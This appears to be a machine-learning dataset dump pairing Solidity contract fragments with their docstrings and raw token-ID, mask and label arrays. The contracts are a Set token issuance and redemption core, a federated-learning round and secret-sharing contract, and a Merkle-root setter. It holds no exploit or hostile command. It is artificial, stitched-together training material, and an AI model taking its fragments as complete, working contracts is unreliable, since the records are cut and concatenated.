Validate quantity is multiple of natural unit SetTokenLibrary.isMultipleOfSetNaturalUnit(_set, _quantity); SetTokenLibrary.SetDetails memory setToken = SetTokenLibrary.getSetDetails(_set); // Calculate component quantities required to issue uint256[] memory requiredComponentQuantities = CoreIssuanceLibrary.calculateRequiredComponentQuantities( setToken.units, setToken.naturalUnit, _quantity ); // Calculate the withdraw and increment quantities to caller uint256[] memory decrementTokenOwnerValues; uint256[] memory depositValues; ( decrementTokenOwnerValues, depositValues ) = CoreIssuanceLibrary.calculateDepositAndDecrementQuantities( setToken.components, requiredComponentQuantities, _componentOwner, state.vault ); // Decrement components used for issuance in vault state.vaultInstance.batchDecrementTokenOwner( setToken.components, _componentOwner, decrementTokenOwnerValues ); // Deposit tokens used for issuance into vault state.transferProxyInstance.batchTransfer( setToken.components, depositValues, _componentOwner, state.vault ); // Increment the vault balance of the set token for the components state.vaultInstance.batchIncrementTokenOwner( setToken.components, _set, requiredComponentQuantities ); // Issue set token ISetToken(_set).mint( _setRecipient, _quantity ); emit SetIssued( _set, _quantity ); } /** * Converts recipient's components into Set Tokens held directly in Vault. * Used in issueInVault * * @param _recipient Address to issue to * @param _set Address of the Set * @param _quantity Number of tokens to issue */ function issueInVaultInternal( address _recipient, address _set, uint256 _quantity ) internal { issueInternal( _recipient, state.vault, _set, _quantity ); // Increment ownership of Set token in the vault state.vaultInstance.incrementTokenOwner( _set, _recipient, _quantity ); } /** * Exchange Set tokens for underlying components. Components are attributed in the vault. * Used in redeem, redeemInVault, and redeemTo * * @param _burnAddress Address to burn tokens from * @param _incrementAddress Address to increment component tokens to * @param _set Address of the Set to redeem * @param _quantity Number of tokens to redeem */ function redeemInternal( address _burnAddress, address _incrementAddress, address _set, uint256 _quantity ) internal { uint256[] memory componentQuantities = redeemAndDecrementVault( _set, _burnAddress, _quantity ); // Increment the component amount address[] memory components = ISetToken(_set).getComponents(); state.vaultInstance.batchIncrementTokenOwner( components, _incrementAddress, componentQuantities ); } /** * Private method that validates inputs, redeems Set, and decrements * the components in the vault * * @param _set Address of the Set to redeem * @param _burnAddress Address to burn tokens from * @param _quantity Number of tokens to redeem * @return componentQuantities Transfer value of components */ function redeemAndDecrementVault( address _set, address _burnAddress, uint256 _quantity ) private returns (uint256[] memory) { // Verify Set was created by Core and is enabled require( state.validSets[_set], "RedeemAndDecrementVault" ); // Validate quantity is multiple of natural unit SetTokenLibrary.isMultipleOfSetNaturalUnit(_set, _quantity); // Burn the Set token (thereby decrementing the Set balance) ISetToken(_set).burn( _burnAddress, _quantity ); SetTokenLibrary.SetDetails memory setToken = SetTokenLibrary.getSetDetails(_set); // Calculate component quantities to redeem uint256[] memory componentQuantities = CoreIssuanceLibrary.calculateRequiredComponentQuantities( setToken.units, setToken.naturalUnit, _quantity ); // Decrement components from Set's possession state.vaultInstance.batchDecrementTokenOwner( setToken.components, _set, componentQuantities ); emit SetRedeemed( _set, _quantity ); return componentQuantities; } }
============ Events ============ */ ============ External Functions ============ */* Issues a specified Set for a specified quantity to the caller using the caller's components from the wallet and vault. @param _set Address of the Set to issue @param _quantity Number of tokens to issue/
{ issueInternal( msg.sender, msg.sender, _set, _quantity ); }
901,618
[ 1, 14468, 9043, 422, 1432, 631, 342, 422, 1432, 631, 11352, 15486, 422, 1432, 631, 342, 9310, 3610, 279, 1269, 1000, 364, 279, 1269, 10457, 358, 326, 4894, 1450, 326, 4894, 1807, 4085, 628, 326, 9230, 471, 9229, 18, 282, 389, 542, 1850, 5267, 434, 326, 1000, 358, 5672, 282, 389, 16172, 377, 3588, 434, 2430, 358, 5672, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 288, 203, 3639, 5672, 3061, 12, 203, 5411, 1234, 18, 15330, 16, 203, 5411, 1234, 18, 15330, 16, 203, 5411, 389, 542, 16, 203, 5411, 389, 16172, 203, 3639, 11272, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.7.0 <0.9.0; import "./IdentityContract.sol"; /** * @title Delta Contract * @dev Delta Contract For Mpc */ contract HFLContract { IdentityContract public idContract; address private owner; enum RoundStatus { Started, Running, Calculating, Aggregating, Finished } mapping(bytes32 => Task) createdTasks; mapping(bytes32 => TaskRound[]) taskRounds; mapping(bytes32 => RoundModelCommitments[]) roundModelCommitments; uint64 private maxWeightCommitmentLength = 10485760; uint64 private maxSSComitmentLength = 256; struct RoundModelCommitments { mapping(address => bytes) weightCommitment; mapping(address => mapping(address => SSData)) ssdata; } struct Task { address creator; string creatorUrl; string dataSet; bytes32 commitment; string taskType; uint64 currentRound; bool finished; } struct Candidate { bytes pk1; bytes pk2; } struct TaskRound { uint64 currentRound; uint32 maxSample; uint32 minSample; RoundStatus status; mapping(address => Candidate) candidates; address[] joinedAddrs; } struct ExtCallTaskRoundStruct { uint64 currentRound; uint32 maxSample; uint32 minSample; uint8 status; address[] joinedAddrs; } struct SSData { bytes seedPiece; bytes seedCommitment; bytes secretKeyPiece; bytes secretKeyMaskCommitment; } // event for EVM logging event OwnerSet(address indexed oldOwner, address indexed newOwner); // triggered when task created event TaskCreated( address indexed creator, bytes32 taskId, string dataSet, string creatorUrl, bytes32 commitment, string taskType ); // triggered when task finished event TaskFinished(bytes32 taskId); // triggered when task developer call startRound event RoundStart(bytes32 taskId, uint64 round); // triggered when task developer call startRound event RoundEnd(bytes32 taskId, uint64 round); // triggered when task developer call selectCandidates event PartnerSelected(bytes32 taskId, uint64 round, address[] addrs); // triggered when task developer call startAggregateUpload event AggregateStarted(bytes32 taskId, uint64 round, address[] addrs); // triggered when task developer call startAggregate event CalculateStarted(bytes32 taskId, uint64 round, address[] addrs); // triggered when client call uploadWeightCommitment , uploadSeedCommitment ,uploadSkMaskCommitment event ContentUploaded( bytes32 taskId, uint64 round, address sender, address reciver, string contentType, bytes content ); // modifier to check if caller is owner modifier isOwner() { // If the first argument of 'require' evaluates to 'false', execution terminates and all // changes to the state and to Ether balances are reverted. // This used to consume all gas in old EVM versions, but not anymore. // It is often a good idea to use 'require' to check if functions are called correctly. // As a second argument, you can also provide an explanation about what went wrong. require(msg.sender == owner, "Caller is not owner"); _; } modifier taskExists(bytes32 task_id) { require(createdTasks[task_id].creator != address(0), "Task not exists"); _; } modifier roundExists(bytes32 task_id, uint64 round) { TaskRound[] storage rounds = taskRounds[task_id]; require( rounds.length > 1 && rounds.length > round, "this round does not exist" ); _; } modifier roundcmmtExists(bytes32 task_id, uint64 round) { RoundModelCommitments[] storage cmmts = roundModelCommitments[task_id]; require(cmmts.length > round, "The Task Round Must exists"); _; } modifier taskOwner(bytes32 task_id) { require( createdTasks[task_id].creator == msg.sender, "Must called by the task owner" ); _; } /** * @dev Set contract deployer as owner */ constructor(IdentityContract _addr) { idContract = _addr; owner = msg.sender; // 'msg.sender' is sender of current call, contract deployer for a constructor emit OwnerSet(address(0), owner); } /** * @dev get task info data * @param taskId taskId */ function getTaskData(bytes32 taskId) public view taskExists(taskId) returns (Task memory task) { task = createdTasks[taskId]; } /** * @dev called by task developer, notifying all clients that a new learning task has been published * @param dataSet data set name (file/folder name of training data) * @param commitment training code hash (client validation purpose) * @return taskId taskId */ function createTask( string calldata dataSet, bytes32 commitment, string calldata taskType ) public payable returns (bytes32 taskId) { bytes32 task_id = keccak256( abi.encode(block.number, msg.sender, dataSet, commitment, taskType) ); IdentityContract.Node memory node = idContract.getNodeInfo(msg.sender); createdTasks[task_id] = Task({ creatorUrl: node.url, creator: msg.sender, dataSet: dataSet, commitment: commitment, taskType: taskType, currentRound: 0, finished: false }); taskId = task_id; TaskRound[] storage rounds = taskRounds[taskId]; rounds.push(); emit TaskCreated( msg.sender, task_id, dataSet, node.url, commitment, taskType ); } function finishTask(bytes32 taskId) public taskExists(taskId) taskOwner(taskId) { Task storage task = createdTasks[taskId]; task.finished = true; emit TaskFinished(taskId); } function getTask(bytes32 taskId) public view taskExists(taskId) returns (Task memory task) { task = createdTasks[taskId]; } /** * @dev called by task developer, notifying all clients that a new computing round is started and open for joining * @param taskId taskId * @param round the round to start */ function startRound( bytes32 taskId, uint64 round, uint32 maxSample, uint32 minSample ) public taskExists(taskId) taskOwner(taskId) { TaskRound[] storage rounds = taskRounds[taskId]; require( rounds.length == round, "the round has been already started or the pre round does not exist" ); Task storage task = createdTasks[taskId]; task.currentRound = round; while (rounds.length == 0 || rounds.length - 1 < round) { rounds.push(); } rounds[round].currentRound = round; rounds[round].maxSample = maxSample; rounds[round].minSample = minSample; rounds[round].status = RoundStatus.Started; RoundModelCommitments[] storage cmmts = roundModelCommitments[taskId]; while (cmmts.length == 0 || cmmts.length - 1 < round) { cmmts.push(); } emit RoundStart(taskId, round); } /** * @dev called by client, join for that round of computation * @param taskId taskId * @param round the round to join * @param pk1 used for secure communication channel establishment * @param pk2 used for mask generation */ function joinRound( bytes32 taskId, uint64 round, bytes calldata pk1, bytes calldata pk2 ) public taskExists(taskId) roundExists(taskId, round) returns (bool) { TaskRound[] storage rounds = taskRounds[taskId]; TaskRound storage thisRound = rounds[rounds.length - 1]; require( rounds.length - 1 == round && thisRound.status == RoundStatus.Started, "join phase has passed" ); require( thisRound.candidates[msg.sender].pk1.length == 0, "Cannot join the same round multiple times" ); thisRound.candidates[msg.sender] = Candidate({pk1: pk1, pk2: pk2}); thisRound.joinedAddrs.push(msg.sender); return true; } /** * @dev called by anyone, get Client Pks * @return candidate (pk1,pk2) */ function getClientPublickeys( bytes32 taskId, uint64 round, address[] calldata candidateAddrs ) public view roundExists(taskId, round) returns (Candidate[] memory) { Candidate[] memory candidates = new Candidate[](candidateAddrs.length); for (uint256 i = 0; i < candidateAddrs.length; i++) { candidates[i] = taskRounds[taskId][round].candidates[ candidateAddrs[i] ]; } return candidates; } /** * @dev getting task round infos * @param taskId taskId * @param round the round to fetch * @return taskround the task round infos */ function getTaskRound(bytes32 taskId, uint64 round) public view roundExists(taskId, round) returns (ExtCallTaskRoundStruct memory taskround) { TaskRound storage temp = taskRounds[taskId][round]; taskround = ExtCallTaskRoundStruct({ currentRound: temp.currentRound, maxSample: temp.maxSample, minSample: temp.minSample, status: (uint8)(temp.status), joinedAddrs: temp.joinedAddrs }); } /** * @dev called by task developer, randomly choose candidates to be computation nodes * @dev clients now should start secret sharing phase * @param addrs selected client addresses */ function selectCandidates( bytes32 taskId, uint64 round, address[] calldata addrs ) public taskOwner(taskId) roundExists(taskId, round) { require(addrs.length > 0, "Must provide addresses"); TaskRound storage curRound = taskRounds[taskId][round]; for (uint256 i = 0; i < addrs.length; i++) { require( curRound.candidates[addrs[i]].pk1.length > 0, "Candidate must exist" ); } curRound.status = RoundStatus.Running; emit PartnerSelected(taskId, round, addrs); } /** * @dev called by task developer, get commitments from blockchain * @dev (Server has to call this method for every clients to get their commiments as the return value couldn't contain mapping type in solidity(damn it)) * @param taskId taskId * @param clientaddress the client that publish the commitments * @param round the round of that commitment * @return commitment commitment data */ function getResultCommitment( bytes32 taskId, address clientaddress, uint64 round ) public view roundExists(taskId, round) roundcmmtExists(taskId, round) returns (bytes memory commitment) { RoundModelCommitments[] storage cmmts = roundModelCommitments[taskId]; require(cmmts.length >= round, "The Task Round Must exists"); RoundModelCommitments storage cmmt = cmmts[round]; commitment = cmmt.weightCommitment[clientaddress]; } /** * @dev called by any participants */ function getSecretSharingDatas( bytes32 taskId, uint64 round, address[] calldata senders, address receiver ) public view roundExists(taskId, round) roundcmmtExists(taskId, round) returns (SSData[] memory) { RoundModelCommitments[] storage cmmts = roundModelCommitments[taskId]; require(cmmts.length >= round, "The Task Round Must exists"); RoundModelCommitments storage cmmt = cmmts[round]; SSData[] memory ssdatas = new SSData[](senders.length); for (uint256 i = 0; i < senders.length; i++) { ssdatas[i] = (cmmt.ssdata[senders[i]][receiver]); } return ssdatas; } /** * @dev called by task developer, notifying all participants that the ss and gradient transfer phase has finished * @dev client now should send corresponded ss share pieces to task developer according to the online status given by the task developer * @param taskId taskId * @param round the task round * @param onlineClients clients that has transfered gradient to task developer */ function startAggregate( bytes32 taskId, uint64 round, address[] calldata onlineClients ) public taskOwner(taskId) roundExists(taskId, round) { TaskRound storage curRound = taskRounds[taskId][round]; require( curRound.status == RoundStatus.Calculating, "Calculating has not started" ); curRound.status = RoundStatus.Aggregating; for (uint256 i = 0; i < onlineClients.length; i++) { require( curRound.candidates[onlineClients[i]].pk1.length > 0, "Candidate must exist" ); } emit AggregateStarted(taskId, round, onlineClients); } /** * @dev called by task developer, notifying all participants that the secret sharing phase is finished to transfer masked gradient to task server * @param taskId taskId * @param round the task round */ function startCalculate( bytes32 taskId, uint64 round, address[] calldata onlineClients ) public taskOwner(taskId) roundExists(taskId, round) { TaskRound storage curRound = taskRounds[taskId][round]; require( curRound.status == RoundStatus.Running, "This round is not running now" ); curRound.status = RoundStatus.Calculating; emit CalculateStarted(taskId, round, onlineClients); } /** * @dev called by task developer, close round * @param taskId taskId * @param round the task round */ function endRound(bytes32 taskId, uint64 round) public taskOwner(taskId) roundExists(taskId, round) { TaskRound storage curRound = taskRounds[taskId][round]; curRound.status = RoundStatus.Finished; emit RoundEnd(taskId, round); } /** * @dev called by client, upload weight commitment * @param taskId taskId * @param round the task round * @param resultCommitment masked model incremental commitment */ function uploadResultCommitment( bytes32 taskId, uint64 round, bytes calldata resultCommitment ) public roundExists(taskId, round) { require( resultCommitment.length > 0 && resultCommitment.length <= maxWeightCommitmentLength, "commitment length exceeds limit or it is empty" ); TaskRound storage curRound = taskRounds[taskId][round]; require( curRound.status == RoundStatus.Calculating, "not in uploading phase" ); RoundModelCommitments[] storage commitments = roundModelCommitments[ taskId ]; RoundModelCommitments storage commitment = commitments[round]; require( commitment.weightCommitment[msg.sender].length == 0, "cannot upload weightCommitment multiple times" ); commitment.weightCommitment[msg.sender] = resultCommitment; emit ContentUploaded( taskId, round, msg.sender, address(0), "WEIGHT", resultCommitment ); } /** * @dev called by client, upload secret sharing seed commitment * @param taskId taskId * @param round the task round * @param receivers the receiver addresses * @param seedCommitments seedCommitments[i] is the commitment send to receivers[i] */ function uploadSeedCommitment( bytes32 taskId, uint64 round, address[] calldata receivers, bytes[] calldata seedCommitments ) public roundExists(taskId, round) { require( receivers.length == seedCommitments.length, "receivers length is not equal to seedCommitments length" ); for (uint256 i = 0; i < seedCommitments.length; i++) { require( seedCommitments[i].length > 0 && seedCommitments[i].length <= maxSSComitmentLength, "commitment length exceeds limit or it is empty" ); } TaskRound storage curRound = taskRounds[taskId][round]; require( curRound.status == RoundStatus.Running, "not in secret sharing phase" ); RoundModelCommitments[] storage commitments = roundModelCommitments[ taskId ]; RoundModelCommitments storage commitment = commitments[round]; for (uint256 i = 0; i < seedCommitments.length; i++) { require( commitment .ssdata[msg.sender][receivers[i]] .seedCommitment .length == 0, "cannot upload seed cmmt multiple times" ); commitment .ssdata[msg.sender][receivers[i]].seedCommitment = seedCommitments[ i ]; emit ContentUploaded( taskId, round, msg.sender, receivers[i], "SEEDCMMT", seedCommitments[i] ); } } /** * @dev called by client, upload secret sharing seed commitment * @param taskId taskId * @param round the task round * @param senders senders address * @param seeds seeds[i] is the seed send by senders[i] */ function uploadSeed( bytes32 taskId, uint64 round, address[] calldata senders, bytes[] calldata seeds ) public roundExists(taskId, round) { require( senders.length == seeds.length, "senders length is not equal to seeds length" ); for (uint256 i = 0; i < seeds.length; i++) { require( seeds[i].length > 0 && seeds[i].length <= maxSSComitmentLength, "commitment length exceeds limit or it is empty" ); } TaskRound storage curRound = taskRounds[taskId][round]; require( curRound.status == RoundStatus.Aggregating, "not in upload ss phase" ); RoundModelCommitments[] storage commitments = roundModelCommitments[ taskId ]; RoundModelCommitments storage commitment = commitments[round]; for (uint256 i = 0; i < seeds.length; i++) { require( commitment .ssdata[senders[i]][msg.sender] .seedCommitment .length > 0, "must upload commitment first" ); require( commitment.ssdata[senders[i]][msg.sender].seedPiece.length == 0, "cannot upload seed multiple times" ); commitment.ssdata[senders[i]][msg.sender].seedPiece = seeds[i]; emit ContentUploaded( taskId, round, senders[i], msg.sender, "SEED", seeds[i] ); } } /** * @dev called by client, upload secret sharing sk commitment * @param taskId taskId * @param round the task round * @param receivers the receiver addresses * @param secretKeyCommitments secretKeyCommitments[i] is the commitment send to receivers[i] */ function uploadSecretKeyCommitment( bytes32 taskId, uint64 round, address[] calldata receivers, bytes[] calldata secretKeyCommitments ) public roundExists(taskId, round) { require( receivers.length == secretKeyCommitments.length, "receivers length is not equal to secretKeyCommitments length" ); for (uint256 i = 0; i < secretKeyCommitments.length; i++) { require( secretKeyCommitments[i].length > 0 && secretKeyCommitments[i].length <= maxSSComitmentLength, "commitment length exceeds limit or it is empty" ); } TaskRound storage curRound = taskRounds[taskId][round]; require( curRound.status == RoundStatus.Running, "not in secret sharing phase" ); RoundModelCommitments[] storage commitments = roundModelCommitments[ taskId ]; RoundModelCommitments storage commitment = commitments[round]; for (uint256 i = 0; i < secretKeyCommitments.length; i++) { require( commitment .ssdata[msg.sender][receivers[i]] .secretKeyMaskCommitment .length == 0, "cannot upload seed cmmt multiple times" ); commitment .ssdata[msg.sender][receivers[i]] .secretKeyMaskCommitment = secretKeyCommitments[i]; emit ContentUploaded( taskId, round, msg.sender, receivers[i], "SKMASKCMMT", secretKeyCommitments[i] ); } } /** * @dev called by client, upload secret sharing sk commitment * @param taskId taskId * @param round the task round * @param senders senders address * @param secretkeyMasks secretkeyMasks[i] is the secretKeyMask send by senders[i] */ function uploadSecretkeyMask( bytes32 taskId, uint64 round, address[] calldata senders, bytes[] calldata secretkeyMasks ) public roundExists(taskId, round) { require( senders.length == secretkeyMasks.length, "senders length is not equal to secretkeyMasks length" ); for (uint256 i = 0; i < secretkeyMasks.length; i++) { require( secretkeyMasks[i].length > 0 && secretkeyMasks[i].length <= maxSSComitmentLength, "commitment length exceeds limit or it is empty" ); } TaskRound storage curRound = taskRounds[taskId][round]; require( curRound.status == RoundStatus.Aggregating, "not in upload ss phase" ); RoundModelCommitments[] storage commitments = roundModelCommitments[ taskId ]; RoundModelCommitments storage commitment = commitments[round]; for (uint256 i = 0; i < secretkeyMasks.length; i++) { require( commitment .ssdata[senders[i]][msg.sender] .secretKeyMaskCommitment .length > 0, "must upload commitment first" ); require( commitment .ssdata[senders[i]][msg.sender] .secretKeyPiece .length == 0, "cannot upload seed multiple times" ); commitment .ssdata[senders[i]][msg.sender].secretKeyPiece = secretkeyMasks[i]; emit ContentUploaded( taskId, round, senders[i], msg.sender, "SKMASK", secretkeyMasks[i] ); } } function setMaxWeightCommitmentLength(uint64 maxLength) public isOwner { maxWeightCommitmentLength = maxLength; } function setMaxSSCommitmentLength(uint64 maxLength) public isOwner { maxSSComitmentLength = maxLength; } function getMaxCommitmentsLength() public view returns (uint64 sslength, uint64 weightLength) { sslength = maxSSComitmentLength; weightLength = maxWeightCommitmentLength; } /** * @dev Change owner * @param newOwner address of new owner */ function changeOwner(address newOwner) public isOwner { emit OwnerSet(owner, newOwner); owner = newOwner; } /** * @dev Return owner address * @return address of owner */ function getOwner() external view returns (address) { return owner; } }
* @dev called by client, upload secret sharing seed commitment @param taskId taskId @param round the task round @param receivers the receiver addresses @param seedCommitments seedCommitments[i] is the commitment send to receivers[i]/
function uploadSeedCommitment( bytes32 taskId, uint64 round, address[] calldata receivers, bytes[] calldata seedCommitments ) public roundExists(taskId, round) { require( receivers.length == seedCommitments.length, "receivers length is not equal to seedCommitments length" ); for (uint256 i = 0; i < seedCommitments.length; i++) { require( seedCommitments[i].length > 0 && seedCommitments[i].length <= maxSSComitmentLength, "commitment length exceeds limit or it is empty" ); } TaskRound storage curRound = taskRounds[taskId][round]; require( curRound.status == RoundStatus.Running, "not in secret sharing phase" ); RoundModelCommitments[] storage commitments = roundModelCommitments[ taskId ]; RoundModelCommitments storage commitment = commitments[round]; for (uint256 i = 0; i < seedCommitments.length; i++) { require( commitment .ssdata[msg.sender][receivers[i]] .seedCommitment .length == 0, "cannot upload seed cmmt multiple times" ); commitment .ssdata[msg.sender][receivers[i]].seedCommitment = seedCommitments[ i ]; emit ContentUploaded( taskId, round, msg.sender, receivers[i], "SEEDCMMT", seedCommitments[i] ); } }
13,019,096
[ 1, 11777, 635, 1004, 16, 3617, 4001, 21001, 5009, 23274, 225, 15321, 15321, 225, 3643, 326, 1562, 3643, 225, 22686, 326, 5971, 6138, 225, 5009, 5580, 1346, 5009, 5580, 1346, 63, 77, 65, 353, 326, 23274, 1366, 358, 22686, 63, 77, 18537, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3617, 12702, 5580, 475, 12, 203, 3639, 1731, 1578, 15321, 16, 203, 3639, 2254, 1105, 3643, 16, 203, 3639, 1758, 8526, 745, 892, 22686, 16, 203, 3639, 1731, 8526, 745, 892, 5009, 5580, 1346, 203, 565, 262, 1071, 3643, 4002, 12, 4146, 548, 16, 3643, 13, 288, 203, 3639, 2583, 12, 203, 5411, 22686, 18, 2469, 422, 5009, 5580, 1346, 18, 2469, 16, 203, 5411, 315, 8606, 6760, 769, 353, 486, 3959, 358, 5009, 5580, 1346, 769, 6, 203, 3639, 11272, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 5009, 5580, 1346, 18, 2469, 31, 277, 27245, 288, 203, 5411, 2583, 12, 203, 7734, 5009, 5580, 1346, 63, 77, 8009, 2469, 405, 374, 597, 203, 10792, 5009, 5580, 1346, 63, 77, 8009, 2469, 1648, 943, 1260, 799, 305, 475, 1782, 16, 203, 7734, 315, 7371, 475, 769, 14399, 1800, 578, 518, 353, 1008, 6, 203, 5411, 11272, 203, 3639, 289, 203, 3639, 3837, 11066, 2502, 662, 11066, 273, 1562, 54, 9284, 63, 4146, 548, 6362, 2260, 15533, 203, 3639, 2583, 12, 203, 5411, 662, 11066, 18, 2327, 422, 11370, 1482, 18, 7051, 16, 203, 5411, 315, 902, 316, 4001, 21001, 6855, 6, 203, 3639, 11272, 203, 3639, 11370, 1488, 5580, 1346, 8526, 2502, 3294, 1346, 273, 3643, 1488, 5580, 1346, 63, 203, 5411, 15321, 203, 3639, 308, 31, 203, 3639, 11370, 1488, 5580, 1346, 2502, 23274, 273, 3294, 1346, 63, 2260, 15533, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 5009, 5580, 1346, 18, 2 ]
./partial_match/1/0x36888C29a7DcF91D3102a5B3E515bd355cBf75d4/sources/contracts/SpreadSheet.sol
@notice Set the Merkle root of the BOTS -> SHEET transition Merkle tree. @dev Emits a {SetTransitionMerkleRoot} event. Requirements: - The caller must be the owner. @param newTransitionMerkleRoot The new transition Merkle root.
function setTransitionMerkleRoot(bytes32 newTransitionMerkleRoot) external onlyOwner { transitionMerkleRoot = newTransitionMerkleRoot; emit SetTransitionMerkleRoot(newTransitionMerkleRoot); }
3,982,119
[ 1, 694, 326, 31827, 1365, 434, 326, 605, 1974, 55, 317, 348, 3900, 1584, 6007, 31827, 2151, 18, 225, 7377, 1282, 279, 288, 694, 8850, 8478, 15609, 2375, 97, 871, 18, 29076, 30, 300, 1021, 4894, 1297, 506, 326, 3410, 18, 225, 394, 8850, 8478, 15609, 2375, 1021, 394, 6007, 31827, 1365, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
